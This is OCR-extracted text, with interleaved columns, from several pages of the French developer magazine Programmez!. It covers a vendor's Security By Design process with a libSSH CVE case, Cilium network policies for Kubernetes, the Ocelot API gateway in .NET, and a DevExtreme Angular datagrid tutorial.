est déjà à même d’identifier les fonc- classiques du projet. l’équipe de développement. Une analy- l’audit (CESTI) ou l’organisme certi-
tions de sécurité à intégrer et de propo- se est alors faite afin d’identifier les fiant.
ser les exigences nécessaires en Un accompagnement faux positifs ou autres cas d’applica-
termes de sécurité. Tenue à jour et au fil de l’eau tions de la vulnérabilité. Si les vulnéra- « Mieux vaut
concertée avec les équipes de dévelop- Grâce à des référentiels du type bilités sont avérées, l’équipe propose prévenir que guérir »
pement, une analyse de risque pourra « OWASP Top 10 Vulnerabilities » [2] ou alors des corrections définitives (mise à La gestion des vulnérabilités sur leur
accompagner les différentes équipes « OWASP Top 10 API Vulnerabilities » [3], jour, désactivation d’un module, etc.) système d’information est une problé-
sur les sujets tels que : les biens et fonc- l’équipe sécurité pourra être en mesure ou des contournements à court terme matique majeure des entreprises. Les
tions essentielles, les probabilités d’oc- d’auditer les fonctionnalités de sécuri- (empêcher l’usage d’une fonctionnali- mesures décrites précédemment per-
currences et d’impacts des risques ou té tout au long de la phase de déve- té, tracer certains comportements mal- mettent de s’approcher d’un dévelop-
les mesures mises en place. loppement, pour vérifier le respect des veillants) permettant de trouver une pement respectant le « Security By
bonnes pratiques via : meilleure solution à moyen, voire long Design » du côté de l’éditeur. À travers
La sécurité en appui • Des scanners automatiques. terme. une communication facilitée et une
de la conception • Des tests manuels Pour les vulnérabilités publiques, il est visibilité accrue sur les vulnérabilités et
L’équipe sécurité joue aussi un rôle lors • Des études de l’architecture et des nécessaire d’établir les composants à sur les dépendances du produit, le
de la conception du produit et de son configurations. surveiller par une liste de dépendances client disposera d’un gain de sécurité
architecture. C’est au moment où l’on À la fin de cette phase, un test d’intru- du produit avec leur version (voir le projet considérable. De plus, ce processus
cherche à répondre au « Comment ? » sion (en interne ou réalisé par un pres- OWASP Dependency Checker [4]). permettra aussi de réduire la probabili-
des spécifications que l’équipe en tataire) permettra de conclure sur le Pour une vulnérabilité importante, une té d’introduction d’une faille chez le
charge de la sécurité est à même de niveau de sécurité du produit. Une fois preuve de concept (PoC) devra être client et en facilitera sa correction.
présenter une recommandation sur les les éventuelles vulnérabilités identi- réalisée pour observer l’impact réel sur Finalement, les processus de « Security
produits, les langages de programma- fiées, un plan d’action devra être mis le produit ainsi que pour trouver des By Design » ont des avantages pour
tion et les protocoles utilisés ainsi que en place, par l’équipe sécurité, afin de indices de compromission (IoC). Ces toutes les parties prenantes, aussi bien
les bonnes pratiques à respecter. Ces permettre aux équipes de développe- derniers serviront à détecter des tenta- côté projet, que côté client. •
dernières doivent être obtenues par ment de résoudre les éventuelles failles tives d’exploitation par le biais de
une veille régulière et l’étude des du produit. règles de Firewall ou de sondes de
fiches pratiques de l’organisme détection/prévention d’intrusion.
OWASP [1], des éditeurs ou des com- Un « Test & Learn » Josselin Mignerey est chercheur en
munautés de développeurs. Au-delà constant en production Une fois ces procédures Cybersécurité chez WALLIX Group,
de cette veille active, un inventaire Après l’intégration du produit, l’équipe mises en place : travaillant au croisement de sujets
techniques et organisationnels en
détaillé des outils et bibliothèques sécurité est en charge de transmettre Un processus de demande de certifica- sécurité informatique. Il a participé
tierces (sur lesquelles le produit s’ap- les vulnérabilités publiques (identifiées tion de produit auprès d’une autorité à leurs applications dans différents
(ex : La Certification de Sécurité de 1er domaines comme la réponse à
incident ou les développements
Niveau de l’ANSSI [5], l’ISO/IEC 27001
LE CAS « LIBSSH » pour le processus de développement)
internes, en particulier chez les
éditeurs de solution.
En octobre 2018, l’éditeur de la bibliothèque libSSH, que WALLIX utilise dans son Bas-
tion, a annoncé qu’elle était vulnérable à la CVE-2018-10933 et recommandait sa mise
à jour. Après une qualification de la vulnérabilité par son équipe sécurité et la réalisation Références
d’un PoC, WALLIX a été capable de voir son impact sur le produit WALLIX Bastion, les [1] https://cheatsheetseries.owasp.org
versions concernées ainsi que les IoC laissés par un éventuel attaquant exploitant la [2] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
faille. Une communication [6] a donc été faite sur le site de WALLIX à destination des
[3] https://www.owasp.org/index.php/OWASP_API_Security_Project
clients pour proposer une solution à court terme (ne plus autoriser l’authentification par
[4] https://www.owasp.org/index.php/OWASP_Dependency_Check
clé publique en SSH) et une correction complète à plus long terme (la mise à jour). Une
communication des IoC a également eu lieu auprès du CERT-FR [7] pour permettre aux [5] https://www.ssi.gouv.fr/administration/produits-certifies/cspn/
clients de détecter a posteriori l’exploitation de l’attaque dans les logs du Bastion. [6] https://www.wallix.com/wallix-security-advisories-alerts/
[7] https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-012/
38 //programmez.com
Pierre-Yves Aillet
Consultant formateur à Zenika Nantes SÉCURITÉ
Cet article a été co-écrit avec Éric Briand
(https://twitter.com/eric_briand)
Cilium :
un firewall pour les conteneurs �
�
Dans un post sur notre blog, nous avions présenté eBPF
(https://blog.zenika.com/2019/07/15/decouverte-ebpf/). Ce mécanisme du
niveau
kernel basé sur une machine virtuelle minimaliste permet d’inter-
cepter des évènements du kernel afin de tracer des appels de
fonctions internes ou encore de filtrer ou modifier des paquets ré-
200
seaux. Cette technologie est utilisée par le projet Cilium
(https://cilium.readthedocs.io/en/v1.5/), qui permet de mettre en place du
filtrage réseau dans le monde des conteneurs. Dans cet article,
nous vous proposons de découvrir un cas concret en vous présen-
tant sa mise en place et son utilisation sur un cluster Kubernetes.
1 kind: NetworkPolicy
2 apiVersion: networking.k8s.io/v1
3 metadata:
4 name: api-allow
5 spec:
partir de Kubernetes 1.16 le groupe d’API à utiliser est obligatoire-
6 podSelector:
ment “networking.k8s.io/NetworkPolicy”, l’ancien “extensions.k8s
7 matchLabels:
.io/NetworkPolicy” ne sera plus supporté.
8 app: bookstore
Ce mécanisme est pratique lorsque l’on reste à une granularité au
9 role: api
Pod, mais les NetworkPolicies ne permettent pas de faire du filtrage
10 ingress:
sur les ressources d’une API REST : �
11 - from:
L’exemple est le suivant :
12 - podSelector:
• l’internal frontend doit pouvoir accéder à toutes les ressources REST ;
13 matchLabels:
• l’events-frontend doit seulement accéder à la ressource REST
14 app: bookstore
heroes mais pas à la ressource REST identities.
Exemple de NetworkPolicy – source : https://github.com/ahmetb/kuber- Nous allons voir comment le projet Cilium permet de réaliser ce
netes-network-policy-recipes/blob/master/02-limit-traffic-to-an-application.md type de filtrage.
Pour en savoir plus sur les NetworkPolicy et consulter des exemples
illustrés, vous pouvez vous référer au dépôt Github kubernetes-net- Présentation du projet
work-policy-recipes qui est assez complet et très didactique. Le projet Cilium a été créé par Thomas Graf (CTO et co-fondateur
Au passage, si vous utilisez déjà les NetworkPolicies, notez qu’à de Isovalent) en 2015. Le projet est open-source et hébergé sur
programmez.com// 39
SÉCURITÉ
Github : https://github.com/cilium/cilium 26 kind: CiliumNetworkPolicy
Il est développé en utilisant les langages go et C. Le langage C 27 metadata:
étant principalement utilisé pour la partie eBPF. 28 name: allow-only-heroes-api
Leur travail sur Cilium les a amenés à maintenir la documentation 29 namespace: api
officielle d’eBPF et XDP ainsi qu’à produire de nombreuses contri- 30 spec:
butions pour le noyau Linux sur le sujet. 31 endpointSelector:
32 matchLabels:
Déploiement dans un cluster Kubernetes 33 app: heroes-api
Cilium est un projet qui peut se déployer avec Docker, Mesos et 34 ingress:
Kubernetes. Vous pouvez retrouver le détail des différents modes 35 - fromEndpoints:
de déploiement dans la documentation officielle. 36 - matchLabels:
Le projet Kubernetes indique comment l’installer sur un cluster créé 37 k8s:io.kubernetes.pod.namespace: events
avec kubeadm. 38 toPorts:
Vous pouvez également consulter ce projet où nous avons mis en 39 - ports:
place Cilium pour illustrer le propos. 40 - port: "80"
Le projet Cilium se déploie sous la forme d’un Operator 41 protocol: TCP
Kubernetes. C’est un type de composant spécifique qui va gérer 42 rules:
toute la complexité de l’applicatif déployé. Dans le cas de Cilium, 43 http:
cela veut dire que l’opérateur créera : 44 - method: "GET"
• les CRDs nécessaires à Cilium ; 45 path: "/heroes/?.*"
• le cluster etcd dans lequel Cilium stocke son état ;
• le DaemonSet de déploiement de l’agent Cilium sur chacun des A la différence des NetworkPolicies, les sélecteurs des
noeuds du cluster. CiliumNetworkPolicies ne sont pas sur les pods mais sur des end-
points (que nous allons définir juste après). Cilium les identifie en
Utilisation se basant sur un système de label agnostique de l’orchestrateur.
Une fois Cilium déployé, il est possible de créer des Pour pouvoir sélectionner un endpoint par rapport à un label spéci-
CiliumNetworkPolicy. Celles-ci se présentent comme des fique à Kubernetes (comme le namespace), on doit préfixer le label
NetworkPolicies Kubernetes classiques, avec en plus la possibilité par k8s :
de définir des règles complémentaires.
1 k8s:io.kubernetes.pod.namespace: events
Par exemple, pour implémenter les règles de filtrages présentées
dans l’exemple précédent, il faut créer les deux NetworkPolicies Ce qui nous intéresse surtout dans ce cas-là, ce sont les règles sui-
ci-dessous : vantes autorisant les requêtes GET sur les ressources identities et
heroes :
1 apiVersion: cilium.io/v2
2 kind: CiliumNetworkPolicy 1 rules:
3 metadata: 2 http:
4 name: allow-heroes-identity-api 3 - method: "GET"
5 namespace: api 4 path: "/heroes/?.*"
6 spec: 5 - method: "GET"
7 endpointSelector: 6 path: "/identities/?.*"
8 matchLabels:
On peut avoir le même type de règles pour kafka :
9 app: heroes-api
10 ingress: 1 rules:
11 - fromEndpoints: 2 kafka:
12 - matchLabels: 3 - role: produce
13 k8s:io.kubernetes.pod.namespace: internal 4 topic: events
14 toPorts: 5 - role: consume
15 - ports: 6 topic: events
16 - port: "80"
Fonctionnement du projet
17 protocol: TCP
En pratique, Cilium recense l’ensemble des Pods déployés sur le
18 rules:
cluster et leur associe la notion de Endpoint. Un Endpoint sera
19 http:
identifié par son IP et portera des informations complémentaires
20 - method: "GET"
liées au pod qu’il représente (namespace, labels, …). Ces informa-
21 path: "/heroes/?.*"
tions seront stockées et mises à disposition des programmes BPF
22 - method: "GET"
sous forme de map eBPF partagées entre l’espace utilisateur et le
23 path: "/identities/?.*"
noyau de chacun des noeuds.
24 ---
L’exploitation de ces informations et des règles définies par les
25 apiVersion: cilium.io/v2
40 //programmez.com
SÉCURITÉ
NetworkPolicies permettent aux programmes BPF de filtrer les pa-
quets. Si vous souhaitez en savoir plus, les programmes BPF de
Cilium sont disponibles dans le répertoire bpf du projet.�
En complément, les règles de la couche 7 (http, kafka, …) s’ap-
puient sur un proxy envoy qui met en place les règles de filtrage
spécifiques.
Outillage
Cilium n’est pas fait que pour Kubernetes, ainsi il fournit un CLI qui
permet d’interagir avec le démon Cilium, que celui-ci soit déployé
sur un cluster Kubernetes, Mesos Marathon, …
Ce CLI permet notamment de simplifier le débogage de
NetworkPolicy. L’exemple ci-dessous permet de connaître les règles
qui s’appliquent pour le trafic entre deux Pods :
Exemple de sortie :
root@worker-1:~# cilium policy trace --src-k8s-pod events:events-frontend-c5f46d89d-
w7qnb --dst-k8s-pod api:heroes-api-6f8ffbc95-rpbdp
1---------------------
2 Tracing From: [k8s:io.kubernetes.pod.namespace=events, k8s:io.cilium.k8s.policy. �
3 serviceaccount=default, k8s:io.cilium.k8s.policy.cluster=default, k8s:app=events Source : https://cilium.readthedocs.io/en/v1.6/architecture/#endpoint-to-endpoint.
4 -frontend, k8s:team=events] == To: [k8s:io.cilium.k8s.policy.cluster=default, k8s:
5 app=heroes-api, k8s:team=api, k8s:io.kubernetes.pod.namespace=api, k8s:io.cilium.
6 k8s.policy.serviceaccount=default] http://www.brendangregg.com/ebpf.html
7 * Rule {"matchLabels":{"any:app":"heroes-api","k8s:io.kubernetes.pod. https://jvns.ca/blog/2017/06/28/notes-on-bpf—ebpf/
8 namespace":"api"}}: selected https://www.youtube.com/watch?v=_Iq1xxNZOAo
9 Allows from labels {"matchLabels":{"k8s:io.kubernetes.pod.namespace":"internal"}} https://cilium.io/blog/2018/12/03/cni-performance
10 Labels [k8s:io.kubernetes.pod.namespace=events k8s:io.cilium.k8s.policy.serviceaccount=default https://itnext.io/benchmark-results-of-kubernetes-network-plugins-cni-over-10gbit-
11 k8s:io.cilium.k8s.policy.cluster=default k8s:app=events-frontend k8s:team=events] not found s-network-updated-april-2019-4a9886efe9c4
12 * Rule {"matchLabels":{"any:app":"heroes-api","k8s:io.kubernetes.pod.namespace":"api"}}: selected
13 Allows from labels {"matchLabels":{"k8s:io.kubernetes.pod.namespace":"events"}} Les liens :
14 Found all required labels https://kubernetes.io/docs/concepts/cluster-administration/networking/#the-kuber-
Rule restricts traffic to specific L4 destinations; deferring policy decision to L4 policy stage netes-network-model
2/6 rules selected https://kubernetes.io/docs/concepts/cluster-administration/networking/#how-to-
Found no allow rule implement-the-kubernetes-networking-model
Label verdict: undecided https://kubernetes.io/docs/concepts/services-networking/network-policies/#the-net-
Final verdict: DENIED workpolicy-resource
Pour en savoir plus, vous pouvez consulter la documentation. https://github.com/ahmetb/kubernetes-network-policy-recipes
https://kubernetes.io/docs/setup/release/notes/#deprecations-and-removals
Dernières évolutions https://github.com/cilium/cilium
Cilium vient de passer en 1.6 et apporte quelques nouvelles fonc- https://golang.org/
tionnalités très intéressantes. Nous retiendrons : https://fr.wikipedia.org/wiki/C_(langage)
• La possibilité de remplacer kube-proxy de Kubernetes par Cilium ; https://lwn.net/Articles/740157/
• Minimiser la compilation de programmes BPF sur les noeuds en https://cilium.readthedocs.io/en/v1.5/bpf/
revoyant la façon dont ils sont générés ; https://cilium.readthedocs.io/en/v1.5/gettingstarted/#installation
La possibilité de coupler Cilium avec un autre network addon CNI. https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-clus-
Vous pouvez retrouver les releases notes la version 1.6 ici : ter-kubeadm/#more-information
https://cilium.io/blog/2019/08/20/cilium-16/#16Highlights. https://github.com/ebriand/conf-cilium/tree/master/setup-cluster
Dans le futur, le projet va encore évoluer et apporter encore plus de https://coreos.com/operators/
stabilité en s’assurant que Cilium fonctionne sur des clusters https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/
Kubernetes de grande taille (5k Nodes, 20k Pods, 10k Services). https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/
https://github.com/envoyproxy/envoy
Références https://cilium.readthedocs.io/en/v1.5/cmdref/
https://github.com/ebriand/conf-cilium https://github.com/cilium/cilium/projects/34
https://cilium.io/ https://github.com/cilium/cilium/projects/18
programmez.com// 41
Abonnez-vous à Programmez! Abonnez-vous à Programmez! Abonne
Offres 2019
Nos classiques 1 an ....................................................... 49E
1 an 11 numéros
11 numéros 49E* + 1 vidéo ENI au choix :
• Symfony 3*
2 ans Développer des applications web robustes
• Raspberry Pi*
Etudiant Apprenez à réaliser et piloter une lumière d’ambiance
(valeur : 29,99 E)
1 an - 11 numéros 39E*
* Tarifs France métropolitaine
n Abonnement 1 an : 49 E n Abonnement 1 an : 49 E
n Abonnement 2 ans : 79 E 11 numéros + 1 vidéo ENI au choix : n Vidéo : Symfony 3 PROG 234
Valable jusqu’au 29 novembre 2019
n Mme n M. Entreprise : III III III III III III III III III III Fonction : III III III III III III III III III III III III III III III III
Prénom : III III III III III III III III III III III III III Nom : III III III III III III III III III III III III III III III III III III III III
Adresse : III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III
Code postal : III III III III III Ville : III III III III III III III III III III III III III III III III III III III III III III III III III III III
n Je joins mon règlement par chèque à l’ordre de Programmez ! n Je souhaite régler à réception de facture * Tarifs France métropolitaine
ez-vous à Programmez! Abonnez-vous à Programmez! Abonnez-vous à
+ Histoire de la + Histoire de la
micro-informatique micro-informatique
1973 à 2007 1973 à 2007
69E * 99E *
1 an 2 ans
11 numéros 22 numéros
+ 1 an de + 2 ans de
PHARAON Magazine PHARAON Magazine
(Histoire / Archéologie) (Histoire / Archéologie)
4 numéros 8 numéros
69E * 99E *
Desérialisation non sécurisée Langage
8
NOUVEAU Serveur
☹
Utilisation de composants avec
9 Langage
des vulnérabilités connues
Gestion de log insufissante et de
10 Serveur
monitoring NOUVEAU
La nouvelle version du TOP est attendue pour 2020. Nous sommes trop impatients.
44 //programmez.com
.NET
Cédric DERUE
Microsoft MVP Azure
[email protected]
programmez.com// 45
.NET
46 //programmez.com
.NET
Sous le dossier src/ApiGateways, il y a 4 Un objet de configuration noté par la variable _cfg est passé en paramètre de
dossiers contenant chacun le code d’un la méthode AddOcelot. Dans le prochain paragraphe, nous allons voir d’où
des BFF cités précédemment, plus un Ocelot tire sa configuration.
5ième dossier nommé ApiGw-Base. Ce
dossier contient le projet ASP.NET Core Configurer Ocelot
OcelotApiGw utilisé pour créer une Dans l’application eShopOnContainers, la configuration d’Ocelot se fait grâce
image Docker de passerelle générique de au fichier configuration.json présent dans chacun des 4 dossiers des BFF
base à l’origine de 4 conteneurs Docker comme le montre la figure ci-dessous :
correspondant aux 4 BFF. Ce projet réfé-
rence la dépendance à Ocelot et contient
tout le code nécessaire à l’initialisation
d’une passerelle. Pour créer 4 conteneurs
de BFF différents, le fichier configura-
tion.json (nous reviendrons sur ce fichier
dans le prochain paragraphe) présent
dans chaque dossier de BFF est fourni via
un volume Docker (voir par exemple le
fichier docker-compose.override.yml ou le
fichier docker-compose.prod.yml) à la passerelle générique comme le montre
la figure ci-dessous :
programmez.com// 47
.NET
l’URL d’une requête correspond à l’une des définitions, alors la règle de routa- Agrégation des données
ge correspondante est appliquée. Ocelot possède une fonctionnalité d’agrégation qui n’est pourtant pas utilisée
La figure ci-dessous montre un exemple simple de règle de routage : ici. La raison de ce choix est très simple : Ocelot ne propose qu’un mécanisme
d'agrégation basique consistant à appeler plusieurs API sous-jacentes et
fusionner leur réponse respective dans un seul objet JSON en sortie. Aussi pour
plus de flexibilité, il est souvent préférable de passer par du code personnalisé
pour faire l’agrégation de plusieurs requêtes.
En examinant le contenu du dossier Web.Bff.Shopping, nous pouvons voir que
celui-ci contient en plus du fichier configuration.json nécessaire à Ocelot, un
projet ASP.NET Core nommé Web.Shopping.HttpAggregator comme le
montre la figure ci-dessous dans l’encadré rouge :
Par la suite, cette clé IdentityApiKey est utilisée dans le fichier de configuration
d’Ocelot pour spécifier la valeur de la clé AuthenticationOptions.Authentica-
tionProviderKey. Il est également possible de restreindre l'accès à une route en
fonction d'un ou plusieurs scopes rattachés à l'utilisateur en renseignant la
valeur de la clé AuthenticationOptions.AllowedScopes à l’aide d’un tableau
contenant le(s) scope(s). Dans cet exemple le tableau est vide donc il n’y a pas
de restriction d'accès en fonction du scope.
Ensuite, il ne reste plus qu’à écrire les règles de routage nécessaires dans le
Pour l’authentification, Ocelot vérifie qu’un fournisseur d’identité est bien asso- fichier de configuration pour Ocelot pour rediriger les requêtes qui nécessitent
cié à la clé fournie. Si tel est le cas, la réponse fournie par le middleware d’au- l’agrégation de données par des API d’agrégation. L’extrait de code ci-dessous
thentification est utilisée pour permettre l’accès lors du routage ou retourner un montre la définition de la règle de routage vers l'API d'agrégation montrée pré-
code de statut HTTP avec la valeur 401. cédemment dans le fichier configuration.json du BFF Shopping pour le web :
48 //programmez.com
.NET
un type d’application cliente et les API sous-jacentes tout en permettant de
faire de l'agrégation de données.
Toutefois, si vous décidez de mettre en oeuvre une passerelle d’API, vous ne
devez pas négliger un certain nombre de points par exemple :
• Une passerelle d’API représente un Single Point Of Failure potentiel pour
toutes les requêtes qui passent par celle-ci.
• De la même façon, une passerelle d’API ne doit pas devenir un goulot
d’étranglement lorsque le nombre de requêtes devient important. La mise à
l’échelle d’une passerelle d’API est donc un point fondamental.
• L’implémentation de code personnalisé pour gérer l’agrégation de requêtes
génère des coûts de développement et une maintenance supplémentaire.
API GATEWAY VS API MANAGEMENT
Les notions d’API Gateway et d’API Management sont parfois confondues Pour aller plus loin
dans les discussions. Pourtant, il est important de faire la distinction entre ces .NET Microservices : Architecture for Contenainerized .NET Applications
termes. De façon générale, une solution d’API Management offre toutes les https://docs.microsoft.com/fr-fr/dotnet/architecture/microservices/index
fonctionnalités d’une passerelle d’API plus des fonctionnalités permettant Architecturing Cloud-Native .NET Apps for Azure
entre autres choses de : https://docs.microsoft.com/fr-fr/dotnet/architecture/cloud-native/
• Générer des statistiques d’usage des API ; Microservices From Design to Deployment
• Monitorer la performance des API ; https://www.nginx.com/resources/library/designing-deploying-microservices/
• Permettre la monétisation des API. Deploying NGINX Plus as an API Gateway
Dans le projet eShopOnContainers, la passerelle d’API implémentée avec Ocelot peut https://www.nginx.com/resources/library/nginx-api-gateway-deployment/
être remplacée par Azure API Management comme le montre la figure ci-dessous :
Ma vision du cloud
Keelan CLECH
National Business Developer - Cloud
Sogeti France
[email protected]
(Function as a Service).
gement. Il fournit également une console interactive pour tester les API. Les
programmez.com// 49
COMPOSANTS
Guillaume Saint Romas
Expert technique
Partie 1
D
evExtreme s’installe facilement au travers de distribution de Cette suite de composants est libre d’accès et d’usage à des fins
niveau « packages » bien connus tels que npm, Bower, NuGet ou non-commerciales et propose une solution complète payante pour
Vous pourrez rapidement élaborer une application web, de sa Exemple par la pratique
structure HTML responsive conçue au travers de plusieurs thèmes Voyons l’usage de cette solution autour d’un exemple développé en
(il est possible d’exporter, d’importer, d’éditer et/ou de surcharger Angular avec Typescript et basé sur la création de quelques com-
vos styles et thèmes avec le « Theme Builder »), en passant par une posants : un système de notification « Notify » permettant d’indi-
série de composants faciles à mettre en place, comme une grille de quer les actions, une Datagrid* « DxDatagrid » simple avec filtres,
données paginée avec un système de recherche avancée et d’ex- une pagination et une Toolbar* présentant un bouton de mise à
port des éléments remontés. zéro des filtres en sus. Pour pointer de la souris l’aspect personna-
Pour prendre en main ces différents widgets, chaque composant lisable de la suite DevExtreme, nous surchargerons la dernière
est présenté sur le site de l’éditeur au travers d’exemples tous modi- colonne de cette Datagrid en y ajoutant, à travers un template de
fiables et testables dynamiquement avec plus de 250 cas d'utilisa- cellule, un composant de bouton « DxButton » ouvrant un popup
tion dans différents langages de programmation. La solution est « DxPopup » (laissé par défaut pour l’exemple) sur l’évènement
facile et rapide à assimiler car chaque composant se déclare et se « click » de ce bouton.
personnalise de la même manière. Une fois cette logique acquise,
on gagne un temps précieux dans l’implémentation et l’utilisation
des composants au sein de l’applicatif web développé. � �
��
Multiplateformes
Que vous développez sous Angular avec Typescript, en JavaScript
avec jQuery, ou encore ASP.net, DevExtreme propose les mêmes
fonctionnalités. �
� Les grandes catégories des composants de DevExtreme. � ThemeBuilder passé sous le thème Material Lime Dark.
�
� Le ThemeBuilder présente les éléments de DevExtreme pour éditer leur style CSS.
� Le ThemeBuilder propose tout un jeu de styles communs en vogue tel que Material. � Aperçu de l'exemple de Datagrid réalisée avec DevExtreme.
programmez.com// 51
COMPOSANTS
Aperçu d’une Datagrid simple � statique sans One-way binding. On peut aussi renseigner directe-
Cette Datagrid est l’expression d’une Datasource simple présentant ment la valeur attendue ; c’est le cas de l’attribut « visible » du dx-
une liste d’enregistrements de l’objet ExampleData créé pour l’occasion. button présenté. A noter que cette valeur typée « boolean » sera
prise en compte avec One-way binding. De plus, valorisé à ‘true’,
let data : ExampleData [] = cet attribut « visible » n’a d’intérêt que la sémantique de l’exemple,
[ du fait que sa valeur par défaut est fixée à ‘true’ par DevExtreme,
{id : 1, name : "Dx Radio", status : "todo", custom : true}, et que nous ne souhaitons pas masquer dynamiquement ce bou-
{id : 2, name : "Dx datagrid", status : "error", custom : true}, ton.
{id : 3, name : "Dx popup", status : "done", custom : false}, Il est même possible de passer par une approche jQuery qui initia-
{id : 4, name : "Dx button", status : "warning", custom : true}, lisera un objet « Dx » au moyen d’une configuration prise en charge
{id : 5, name : "Dx form", status : "in progress", custom : false}, par la directive. Pratique pour éditer et sauvegarder une configura-
{id : 6, name : "Dx Text", status : "done", custom : true} tion du composant à partir d’un « json » sérialisé en base de don-
]; nées ou en variable de session.
Figure 9: Liste d'objets ExampleData.
Définition de la Datagrid dans la vue
export class ExampleData {
<!-- Datagrid with toolbar and custom column -->
id: number;
<dx-data-grid #datagrid [dataSource]="dataSource"
name: string;
(onToolbarPreparing)="toolbarPreparing($event)">
status: string;
Figure 12 : Déclaration de la Datagrid dans la vue.
custom: boolean;
} • La datagrid peut se définir par défaut juste par son tag.
Figure 10: ExampleData typing • La datasource est liée au controller.
Les composants DevExtreme en détail On définit l’appel à la methode « toolbarPeraring() » durant l’évè-
Pour notre exemple, nous développons sous Angular avec nement « onToolbarPreparing » déclenché par le composant.
Typescript, les composants DevExtreme préfixés « DX », rapidement
mis en place si on est familiarisé avec les concepts de base et les <!-- Header Filtering. -->
modèles d’Angular : <dxo-filter-row visible="true"></dxo-filter-row>
Figure 13 : Activation des filtres Datagrid par simple attribut "visible".
<dx-button • On déclare les filtres.
type="default"
[disabled]="data.value" Chaque composant possède de nombreux évènements permettant toute
une série d’actions.
text="label of button"
[visible]="true" <!-- Pagination. -->
(onClick)="click($event, data)"> <dxo-paging [pageSize]="3" [pageIndex]="0"
</dx-button> [enabled]="true"></dxo-paging>
Figure 11 : "dx-button" directives Angular. <dxo-pager [allowedPageSizes]="[3, 6, 10, 25]"
[visible]="false" [showPageSizeSelector]="true"
Dans ce bout de code, nous retrouvons une notion d’Angular [showNavigationButtons]="true" [showInfo]="true"></dxo-pager>
concernant les liaisons d’un attribut ou d’un évènement au moyen Figure 14 : Configuration de la pagination.
d’une syntaxe :
- [] pour les attributs, class, interpolation… « One-Way Option • On paramètre la pagination.
Binding » : « From the source-to-view » • On spécifie les outils de navigation de cette pagination.
- () pour les évènements « One-way from view target to data
source » <!-- Columns -->
- [()] ou encore le « Two-Way Option Binding »« Two-way sequence: <dxi-column dataField="id" caption="ID#" [visible]="true"
view-to-source-to-view » width="50" alignment="center"></dxi-column>
<dxi-column dataField="name" caption="Name" visible="true"
Dans cette directive, nous aurions pu envisager de déclarer toutes width="150"></dxi-column>
les variables de ces attributs dans le Controller de la Single Page <dxi-column dataField="status" caption="Status" visible="true"
Application (SPA) et de les lier avec la syntaxe [attr]= «variable width="100" alignment="center"></dxi-column>
public» proposée par Angular. <dxi-column dataField="custom" caption="Custom"
L’intérêt de cette approche réside dans le proverbe « qui peut le cellTemplate="cellTemplate" [allowFiltering]="false"
plus, peut le moins » : en effet on peut opter pour une approche [allowSorting]="false" alignment="center"
moins dynamique avec une valeur statique comme ici pour l’attri- width="150"></dxi-column>
but « text », l’attribut typé « string » qui peut prendre une valeur Figure 15 : Déclaration des colonnes de la Datagrid.
52 //programmez.com
COMPOSANTS
• On déclare les colonnes de la Datagrid. On peut choisir de les // Event DevExtreme during the datagrid’s toolbar building
laisser par défaut, de les restreindre ou de les personnaliser. private toolbarPreparing(event: Event) {
• Tous les élements de configuration sont listés et présentés en // we get back the list of DxToolbarComponent.items instance
détail dans la documentation de DevExtreme. const toolbarItems: DxToolbarComponent.items = event.toolbarOptions.items;
• Sur la dernière colonne nommée « custom », nous avons défini // jQuery typical form
un template de cellule dans l’attribut « cellTemplate ». // we add a DxButton widget in toolbar by passing a configuration object
toolbarItemsref.push(this.reshBtnToolbar);
<!-- Custom Column with template for the last column above --> // We can edit the properties them as we wish from the moment
<div *dxTemplate="let data of 'cellTemplate'"> // we get back the DxToolbarComponent.items instance
<!-- In the last column of the datagrid we add an action button --> toolbarItems.forEach(
<dx-button type="default" [disabled]="data?.value" text="label of button" // for each toolbar item we change the location at « before »
(onClick)="click($event, data)"></dx-button> (item: DxToolbarComponent.items): void => {
</div> item.location = "before";
});
</dx-data-grid> }
Figure 16 : Surcharge de la dernière colonne avec un template personnalisé. Figure 18 : Ajout d'éléments lors de l'évènement de préparation de la toolbar.
• Au sein du « dx-data-grid » nous déclarons le template html • Il est alors facile d’ajouter aux items de la toolbar le widget confi-
cellTemplate en y ajoutant tout ce dont nous avons besoin. guré ci-dessus, par une simple méthode « push ».
• Dans notre exemple nous rajoutons un composant DevExtreme : • La boucle « forEach » développée ci-contre permet de cibler les
le « dx-button ». actions de personnalisation et de contrôle que nous avons dans
• Nous le configurons de manière à le desactiver en fonction d’une tous les composants. En effet, dans cet exemple nous parcourons
valeur spécifique à l’occurrence de l’objet « ExampleData », un tous les items présents dans la toolbar et nous en changeons
texte, un type, et on y lie une méthode sur l’évènement « Click ». leurs « location ».
programmez.com// 53
COMPOSANTS
Voyons maintenant de plus près un composant régulièrement utili- des technologies s’est porté autour d’une base de données SQLite
sé : le « popup ». et du Framework express afin de tout configurer simplement au tra-
Il se configure directement depuis la vue sans passer par le control- vers d’un script JavaScript (js) pour Node.
ler. Nous voyons dans cet extrait que la configuration est très acces- Ainsi, en quelques lignes de scripts nous allons créer notre modèle
sible, la simple lecture de sa déclaration se suffit à elle-même pour de données ci-dessus « ExampleData » dans une base de données
imaginer le rendu que nous obtiendrons. et implémenter les méthodes CRUD nous permettant par la suite
de créer (Create), lire (Read), modifier (Update) et supprimer
<dx-popup (Delete) les données de notre table « ExampleData ». Express met-
[width]="260" [height]="240" [showTitle]="true" [title]="currentRow.name" tra à disposition sur le port 3000 de notre localhost les méthodes
[dragEnabled]="false" [closeOnOutsideClick]="true" [(visible)]="popupVisible" d’actions CRUD développées.
(onShown)="shown($event)">
<div *dxTemplate="let data of 'content'"> Let db = new sqlite3.Database('exampleData.db');
<div class="popup-property-details"> let restapi = express();
<pre>{{ currentRow | json }}</pre>
</div> // Configure express server
</div> // And Creation DB with data
</dx-popup> […]
Figure 20 : Déclaration d'une DxPopup basique dans la Vue.
//#region API | CRUD Actions
• L’attribut « visible » est défini comme « Two-Way Option Binding » afin /** CREATE */
que la variable « popupVisible » puisse renseigner l’état du popup. restapi.post("/add", (req, res) => { … });
• La méthode « shown() » est définie pour l’évènement « onShown » /** READ */
déclenché à l’ouverture du popup. Dans cet exemple, cette restapi.get('/all', (req, res) => { … });
méthode permet l’affichage d’une notification DevExtreme. /** UPDATE */
restapi.put("/upd/:id", (req, res) => { … });
• Dans ce popup, nous /** Delete */
affichons l’objet restapi.delete("/del/:id", (req, res) => {
